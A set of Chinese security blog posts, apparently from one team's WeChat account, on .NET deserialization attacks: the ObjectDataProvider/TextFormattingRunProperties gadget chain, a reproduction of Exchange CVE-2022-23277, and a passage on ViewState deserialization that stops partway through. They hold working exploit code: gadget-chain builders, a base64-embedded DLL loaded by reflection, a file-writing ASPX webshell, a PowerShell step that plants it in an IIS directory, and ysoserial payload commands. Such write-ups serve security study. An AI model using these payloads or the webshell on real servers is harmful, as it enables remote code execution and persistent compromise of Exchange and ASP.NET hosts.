在《DotNet安全-CVE-2022-23277漏洞复现》这篇文章中，我们想要通过反序列化漏洞直接写入文件的时候遇见了问题，当时觉得ObjectDataProvider除了使用执行命令的方式，无法通过执行代码的方式实现webshell的写入。在看了一些链相关的文章后，发现有许多链最终都依赖于ObjectDataProvider并且可以实现任意代码执行的功能，下面这篇文章我们来一起了解.net反序列化的基石之一的ObjectDataProvider。

如何使用ObjectDataProvider

ObjectDataProvider调用一般有两种形式，一种通过instance调用:

ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectInstance = new System.Diagnostics.Process();

一种是通过Type调用：

ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectType = typeof(System.Diagnostics.Process);

c# 获取type有三种方式：

方法一：
typeof(System.Diagnostics.Process)
方法二：
Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true);
方法三：
new System.Diagnostics.Process().GetType()

ObjectDataProvider底层实现

查看ObjectDataProvider构造函数：

public ObjectDataProvider()
{
    this._constructorParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));
    this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged));
    this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged);
}

这里ParameterCollectionChanged是委托

internal delegate void ParameterCollectionChanged(ParameterCollection parameters);

可以理解成函数指针，ParameterCollection的构造函数：

public ParameterCollection(ParameterCollectionChanged parametersChanged)
{
    this._parametersChanged = parametersChanged;
}

在ParameterCollection的OnCollectionChanged函数触发会调用this._parametersChanged,实际上是通过委托的形式调用了ObjectDataProvider中的OnParametersChanged:

private void OnCollectionChanged()
{
    this._parametersChanged(this);
}

ParameterCollection继承了System.Collections.ObjectModel.Collection,并重写了InsertItem等方法，InsertItem为protected方法，无法被直接调用。但InsertItem被父类的Add函数调用：

Add为public的方法，那么可以直接调用Add，进入InsertItem

进入OnCollectionChanged后通过委托进入ObjectDataProvider中的OnParametersChanged：

之后调用Refresh()，进入ObjectDataProvider的BeginQuery：

最终进入QueryWorker：

此时因为我们的代码先添加了MethodParameters并没有设置type：

ObjectDataProvider obj = new ObjectDataProvider();
obj.MethodParameters.Add("calc");
obj.MethodName = "Start";
obj.ObjectType = typeof(System.Diagnostics.Process);

所以进入异常：

接下来设置MethodName,直接进入Refresh逻辑：

和刚才一样进入异常：

接下来设置Type，成功设置type，依旧进入Refresh：

通过CreateObjectInstance函数创建实例

CreateObjectInstance通过获取的type和反射获取实例：

后续通过InvokeMethodOnInstance执行方法：

InvokeMethodOnInstance通过反射调用指定方法：

通过设置ObjectInstance方法执行代码和上面的大同小异，只不过少了从Type获取Intance的过程。ObjectDataProvider类似java中的cc，是执行任意代码的一种方式。

为什么不能直接反序列化

我们尝试直接使用binaryFormatter对ObjectDataProvider实例进行序列化发现失败

显然需要是标记了[Serializable]标签的类才可以被序列化，如：

构造完整的利用链

既然我们无法直接对ObjectDataProvider进行序列化，那我们只要寻找到使用ObjectDataProvider实例作为参数并且可以序列化的类就可以了。在ysoserial.net中的 TextFormattingRunProperties给出了完整的利用。大概的利用流程是：

TextFormattingRunProperties -> XamlReader.Parse ->ResourceDictionary -> ObjectDataProvider -> Code Execute

TextFormattingRunProperties来自命名空间Microsoft.VisualStudio.Text.Formatting，看起来像装了VisualStudio才有的功能，但研究员在Microsoft.PowerShell.Editor.dll中也发现了该命名空间，该链作为windows系统下比较常见的一个链。

仿照ysoserial.net实现TextFormattingRunPropertiesMarshal链的例子：

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Data;
using System.Windows;
using System.Xml;
using System.Runtime.Serialization.Formatters.Binary;
using System.Collections.Specialized;
using System.Collections.Generic;
using System.Runtime.Serialization;
using Microsoft.VisualStudio.Text.Formatting;
using System.Diagnostics;
using System.Windows.Data;
using System.Reflection;
namespace ObjectDataProviderExample
{
    class Program
    {
        [Serializable]
        public class TextFormattingRunPropertiesMarshal : ISerializable
        {
            protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
            {
            }
            string _xaml;
            public void GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Type typeTFRP = typeof(TextFormattingRunProperties);
                info.SetType(typeTFRP);
                info.AddValue("ForegroundBrush", _xaml);
            }
            public TextFormattingRunPropertiesMarshal(string xaml)
            {
                _xaml = xaml;
            }
        }
        static void Main(string[] args)
        {
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodParameters.Add("notepad");
            odp.MethodName = "Start";
            odp.ObjectType = typeof(System.Diagnostics.Process);
 
            ResourceDictionary myResourceDictionary = new ResourceDictionary();
            myResourceDictionary.Add("", odp);
 
 
            XmlWriterSettings settings = new XmlWriterSettings();
            settings.Indent = true;
            StringBuilder sb = new StringBuilder();
 
            using (XmlWriter writer = XmlWriter.Create(sb, settings))
            {
                System.Windows.Markup.XamlWriter.Save(odp, writer);
            }
 
            string text = sb.ToString();
            
            TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(text);
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            Stream stream = new FileStream("1.ser", FileMode.Create, FileAccess.Write, FileShare.None);
            binaryFormatter.Serialize(stream, obj1);
            stream.Close();
            BinaryFormatter binaryFormatter1 = new BinaryFormatter();
            FileStream stream2 = new FileStream(@"1.ser", FileMode.Open);
            Object obj = binaryFormatter1.Deserialize(stream2);
        }
    }
}

尝试反序列化时报错，所没有提供MethodParameters，看xaml数据确实如此：

仿照ysoserial，通过指定StartInfo这个参数回避了这个问题：

xaml变化很大：

虽然报错，但反序列化已经执行：

我们写文件无法回避这个问题，无法通过直接调用myResourceDictionary.Add("", odp)的方式构造出xaml。

目前的解决办法就是手动进行构造xaml，这里使用zcgonvh师傅的轮子进行修改：

string text= @"xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x = ""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s = ""clr-namespace:System;assembly=mscorlib"">
   
   
1.txt
aaaaaaaaaaaaaa
 
   
 
";

经过测试，可以成功写入文件。

TextFormattingRunProperties链原理

TextFormattingRunProperties的构造函数中调用GetObjectFromSerializationInfo：

该函数调用 XamlReader.Parse解析xaml，后续解析ResourceDictionary再调用ObjectDataProvider

寻找一种通用的执行方式

实现动态代码执行的功能c#中一般有两种方式，一种为jscript中的eval，如经典的菜刀webshell实现。另一种就是哥斯拉冰蝎等工具使用的反射加载技术。在ResourceDictionary我们同样可以使用反射加载技术。

首先生成一个dll：

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;
namespace ClassLibrary1
{
    public class Class1
    {
        public  Class1() {
            File.WriteAllText(@"c:\programdata\1.txt", "aaaaaaaaaa");
        }
    }
}

编译后生成对应的base64字符串：

import base64
with open("ClassLibrary1.dll","rb") as f:
    t=f.read()
    print(base64.b64encode(t))

需要命名空间.类名的形式进行调用，这里是ClassLibrary1.Class1:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Windows.Data;
using System.Windows;
using System.Xml;
using System.Runtime.Serialization.Formatters.Binary;
using System.Collections.Specialized;
using System.Collections.Generic;
using System.Runtime.Serialization;
using Microsoft.VisualStudio.Text.Formatting;
using System.Diagnostics;
using System.Windows.Data;
using System.Reflection;
namespace ObjectDataProviderExample
{
    class Program
    {
        [Serializable]
        public class TextFormattingRunPropertiesMarshal : ISerializable
        {
            protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
            {
            }
            string _xaml;
            public void GetObjectData(SerializationInfo info, StreamingContext context)
            {
                Type typeTFRP = typeof(TextFormattingRunProperties);
                info.SetType(typeTFRP);
                info.AddValue("ForegroundBrush", _xaml);
            }
            public TextFormattingRunPropertiesMarshal(string xaml)
            {
                _xaml = xaml;
            }
        }
        static void Main(string[] args)
        {
            string dllloader = @"xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:xaml=""http://schemas.microsoft.com/winfx/2006/xaml"" 
xmlns:system=""clr-namespace:System;assembly=mscorlib"" 
xmlns:reflection=""clr-namespace:System.Reflection;assembly=mscorlib"">
    
    
    
        
            !!classname!!
            False
        
    
".Replace("!!base64!!", "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEmE27oAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAQicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAO4mAABPAAAAAEAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABIJgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAASAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAiJwAAAAAAAEgAAAACAAUAaCAAAOAFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFoCKA8AAApyAQAAcHIrAABwKBAAAAoqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAALQBAAAjfgAAIAIAAFwCAAAjU3RyaW5ncwAAAAB8BAAARAAAACNVUwDABAAAEAAAACNHVUlEAAAA0AQAABABAAAjQmxvYgAAAAAAAAACAAABRxQAAAkAAAAA+gEzABYAAAEAAAARAAAAAgAAAAEAAAAQAAAADgAAAAEAAAABAAAAAAC2AQEAAAAAAAYAEQEZAgYAfgEZAgYARQDnAQ8AOQIAAAYAbQDPAQYA9ADPAQYA1QDPAQYAZQHPAQYAMQHPAQYASgHPAQYAhADPAQYAWQD6AQYANwD6AQYAuADPAQYAnwCcAQYASALIAQYAMgAfAAAAAAAWAAAAAAABAAEAAQAQAAEACABBAAEAAQBQIAAAAACGGOEBBgABAAkA4QEBABEA4QEGABkA4QEKACkA4QEQADEA4QEQADkA4QEQAEEA4QEQAEkA4QEQAFEA4QEQAFkA4QEQAGEA4QEVAGkA4QEQAHEA4QEQAHkA4QEQAIEA4QEGAIkATwIaAC4ACwApAC4AEwAyAC4AGwBRAC4AIwBaAC4AKwBtAC4AMwBtAC4AOwBtAC4AQwBaAC4ASwBzAC4AUwBtAC4AWwBtAC4AYwCLAC4AawC1AC4AcwDCAASAAAABAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAgACkAAAAAAAAAAAAAQ2xhc3MxAENsYXNzTGlicmFyeTEAPE1vZHVsZT4AU3lzdGVtLklPAG1zY29ybGliAEZpbGUAR3VpZEF0dHJpYnV0ZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBDbGFzc0xpYnJhcnkxLmRsbABTeXN0ZW0AU3lzdGVtLlJlZmxlY3Rpb24ALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAE9iamVjdABXcml0ZUFsbFRleHQAACljADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAxAC4A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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==").Replace("!!classname!!", "ClassLibrary1.Class1");
            TextFormattingRunPropertiesMarshal obj1 = new TextFormattingRunPropertiesMarshal(dllloader);
            
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            Stream stream = new FileStream("1.ser", FileMode.Create, FileAccess.Write, FileShare.None);
            binaryFormatter.Serialize(stream, obj1);
            stream.Close();
            
            /*
            BinaryFormatter binaryFormatter1 = new BinaryFormatter();
            FileStream stream2 = new FileStream(@"1.ser", FileMode.Open);
            Object obj = binaryFormatter1.Deserialize(stream2);
            */
        }
    }
}

成功触发：

参考文章

https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

https://www.cnblogs.com/Ivan1ee/p/16265873.html

总结

本文介绍了.net反序列化中比较简单的一条链TextFormattingRunProperties及c#中的cc链-ObjectDataProvider，同时推翻了之前的一些错误理解。

网络安全的学习，道阻且长，行则将至。与诸君共勉。

阅读原文

跳转微信打开

DotNet安全-CVE-2022-23277漏洞复现

Tue, 25 Oct 2022 09:10:00 +0800

原创 7bits安全团队 2022-10-25 09:10 江苏

该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过，从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。

DotNet安全-CVE-2022-23277漏洞复现

引言

该漏洞主要是由于SerializationBinder的错误使用导致反序列化白名单的绕过，从而实现任意命令执行。触发漏洞的功能与CVE-2021-42321一致。

影响范围

  def cve_2022_23277_vuln_builds
    # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
    [
      '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU
      '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU
      '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU
      '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU
      '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU
      '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU
      '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU
      '15.2.986.15'  # Exchange Server 2019 CU11 Jan22SU
    ]
  end

大约为21年底到22年初的exchange2016及2019.

基础知识

正确使用SerializationBinder

2020年微软修改了对SerializationBinder描述：

对《DotNet安全-CVE-2021-42321漏洞复现》中SerializationBinder稍加修改：

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
 
 
namespace deserialDemo
{
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream memoryStream = new MemoryStream();
            RCE calc = new RCE("calc");
            binaryFormatter.Serialize(memoryStream, calc);
 
            memoryStream.Position = 0;
            binaryFormatter.Binder = new MyBinder();
            object v = binaryFormatter.Deserialize(memoryStream);
            Console.WriteLine(v);
            Console.ReadKey();
 
        }
    }
    [Serializable]
    class RCE
    {
        public string cmd;
 
        public RCE(string cmd)
        {
            this.cmd = cmd;
        }
 
        public override string ToString()
        {
            return $"exec cmd:{cmd}";
        }
    }
    class MyBinder : SerializationBinder
    {
        public override Type BindToType(string assemblyName, string typeName)
        {
            Console.WriteLine($"assemblyName:{assemblyName},typeName:{typeName}.");
            Type typeToDeserialize = Type.GetType(String.Format("{0}, {1}", typeName, assemblyName));
 
            if (typeToDeserialize.Equals(typeof(RCE)))
            {
                return null;
                //throw new Exception("can't deseriliza rce class.");
            }
            return typeToDeserialize;
        }
    }
}

反序列化依旧被执行:

SerializationBinder的正确用法是判断类型不符合就直接抛出异常。

从代码层面分析成因

BinaryFormatter实现SerializationBinder的功能会调用：System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.ObjectReader.Bind(string, string):

如果定义的BindToType返回null，则进入FastBindToType逻辑：

FormatterAssemblyStyle.Simple默认为真，调用System.Runtime.Serialization.Formatters.Binary.ObjectReader.ResolveSimpleAssemblyName

不管怎么样都会返回assem，之后进入ObjectReader.GetSimplyNamedTypeFromAssembly(Assembly, string, ref Type)：

最终会根据TypeName获取到程序集合。也就是说，不管BindToType的结果如何(只要不抛出异常)，只要TypeName正常恶意类始终会被加载上。

SINK

Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.BindToType(string, string) :

如果type获取失败即=null，不会进行ValidateTypeToDeserialize，反序列化的controllist会完全失效。跟到Microsoft.Exchange.Diagnostics.ChainedSerializationBinder.LoadType(string, string)：

发现从多种方式获取Type，如果获取不到最终就会返回null。通过前面的内容我们知道返回null之后会调用FastBindToType函数，最终根据FullTypeName获取到Type。

SOURCE

与CVE-2021–42321一样，只不过要被反序列化的数据发生改变。这里使DataSet的gadgats，通过重写GetObjectData函数对类的AssemblyName属性进行修改:

让AssemblyName是错误的，保证BindToType返回null。让FullTypeName为正常的，保证FastBindToType能正常加载。

如下图：

FastBindToType最终返回了我们要的类型System.Data.DataSet:

最终可以成功执行：

修改POC

DataSetTypeSpoofGenerator最终调用ObjectDataProviderGenerator.cs中的Generate方法执行命令，下图为通过ObjectDataProvider执行命令的代码：

通过ObjectDataProvider我们可以轻松调用Process.start()启动新进程进而执行命令。尝试修改这部分代码为写入文件时出现问题：

c#中实现文件写入主要有两个办法：

方法1通过File.Write()等函数进行写入;方法二是通过StreamWriter.WriteLine()进行写入。

方法1的问题是File类为一个静态类，无法获取类的实例化对象，也不能通过反射获取到实例，所以ObjectInstance参数无法获取到。

方法2的问题是StreamWriter使用的时候通过一个方法无法完成字符串的写入，因为还要关闭流，如下：

using (StreamWriter sw = new StreamWriter (@"c:\1.txt",true,Encoding.UTF8))
      {
        for (int i = 0; i < 100; i++)
        {
          sw.WriteLine(i);
        }
      }

这里采用using，类似于python的with open，实际需要关闭，如下：

public virtual void SaveData()
{
   string arqName = string.Format("Person{0}" + ".txt", Id);
   StreamWriter file = new StreamWriter(arqNome);
   file.WriteLine("ID: " + Id);
   file.WriteLine("DOB: " + dOB);
   file.WriteLine("Name: " + name);
   file.WriteLine("Age: " + age);
   file.Flush();
   file.Close();     
}

那么只好使用不那么好用的方式-通过执行命令写入。这里使用powershell排除执行命令特殊字符转义的问题,下图为写入webshell样本：

<%@ Page Language="JScript" Debug="true"%><%@Import Namespace="System.IO"%><%File.WriteAllBytes(Request["b"], Convert.FromBase64String(Request["a"]));%>

使用powershell进行编码：

$file=Get-Content -Path 1.txt
$MyScript = "Set-Content -Path 'C:\inetpub\wwwroot\aspnet_client\1.aspx' -Value '$file'"
$MyEncodedScript = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($MyScript))
$MyEncodedScript

在Burp增加认证：

利用成功写入webshell：

完整的POC及修改过的ysoerial.net

https://github.com/7BitsTeam/CVE-2022-23277

参考

https://packetstormsecurity.com/files/168131/Microsoft-Exchange-Server-ChainedSerializationBinder-Remote-Code-Execution.html

https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html

https://referencesource.microsoft.com/#mscorlib/system/runtime/serialization/formatters/binary/binaryformatter.cs

阅读原文

跳转微信打开

DotNet安全-ViewState反序列化利用

Tue, 18 Oct 2022 09:15:00 +0800

原创 7bits安全团队 2022-10-18 09:15 江苏

ViewState 反序列化利用

ViewState 反序列化

一、引言

这周有朋友问

碰巧自己也没听说过，问了身边的朋友，大概两三年前就出现了，exchange 的 CVE-2020-0688 也是因为 viewstate 的反序列化，成为第一个能直接在 exchange 服务器上执行命令的漏洞。参考外文的介绍自己搭建环境复现了一下，感觉还是挺有趣的，后续也会对 exchange 的 0688 进行复现。

二、什么是 ViewState？

ViewState 基本上由服务器生成，并以隐藏的表单字段 “__VIEWSTATE” 的形式发送给客户端，用于“POST”请求。当 Web 应用程序进行 POST 请求时，客户端将其发送到服务器。ViewState 以序列化数据的形式出现，当客户端再次进行请求(ViewState)被发送到服务器时，将进行反序列化。
ASP.NET 有各种序列化和反序列化库，称为 formatter ，它序列化对象到字节流，反之亦然(反序列化字节流到对象)。如ObjectStateFormatter、LOSFormatter、BinaryFormatter 等。

ASP.NET 使用 LosFormatter 序列化 ViewState，并将其作为隐藏的表单字段发送到客户端。一旦序列化 ViewState 在 POST 请求期间被发送回服务器，它将使用ObjectStateFormatter 进行反序列化。

为了使 ViewState 不受篡改，存在一个启用 ViewState MAC 的选项，通过设置一个值并在反序列化期间对 ViewState 的值进行完整性检查。

Burp 插件安装

Viewstate 的插件在老版本的 bp 里才有，新版 bp 需要手动去下载安装，在 bp 的 BApp Store 里搜索 ViewState Editor 安装即可。
ysoerial.net 工具地址:
https://github.com/pwntester/ysoserial.net

三、复现

1、 Target framework ≤4.0 (ViewState Mac is disabled)

修改注册表
(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v4.0.30319)，AspNetEnforceViewStateMac 的值修改为 0

准备前端 hello.aspx，内容如下：

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>

http://www.w3.org/1999/xhtml">

    


    
        
                         Text="GO" class="btn"/>

hello.aspx.cs 内容：

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
}
 protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
 }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

访问 hello.aspx 文件发送 post 请求。此时 MAC 验证功能被禁用。

ysoserial 生成 payload

ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 7bits666 > C:\Windows\temp\test.txt"

复制生成的 payload，url 编码一次发送到__viewstate 参数即可反序列化命令执行。

2、When ViewState is removed from the HTTP request

有的场景中，post 请求包里并不会带上__viewstate 参数，但是这样并不是安全的。这里继续使用上面一个场景中的前端代码，修改后端代码如下：

using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public class BasePage : System.Web.UI.Page
{
 protected override void Render(HtmlTextWriter writer)
 {
 StringBuilder sb = new StringBuilder();
 StringWriter sw = new StringWriter(sb);
 HtmlTextWriter hWriter = new HtmlTextWriter(sw);
 base.Render(hWriter);
 string html = sb.ToString();
 html = Regex.Replace(html, "]*id=\"(__VIEWSTATE)\"[^>]*>", string.Empty, RegexOptions.IgnoreCase);
 writer.Write(html);
 }
}
public partial class hello : BasePage
{
 protected void Page_Load(object sender, EventArgs e)
 {
}
 protected void Button1_Click(object sender, EventArgs e)
 {
 Label1.Text = TextArea1.Text.ToString();
 }
}

此时抓包发现，post 数据包里并没有带上VIEWSTATE 的参数。

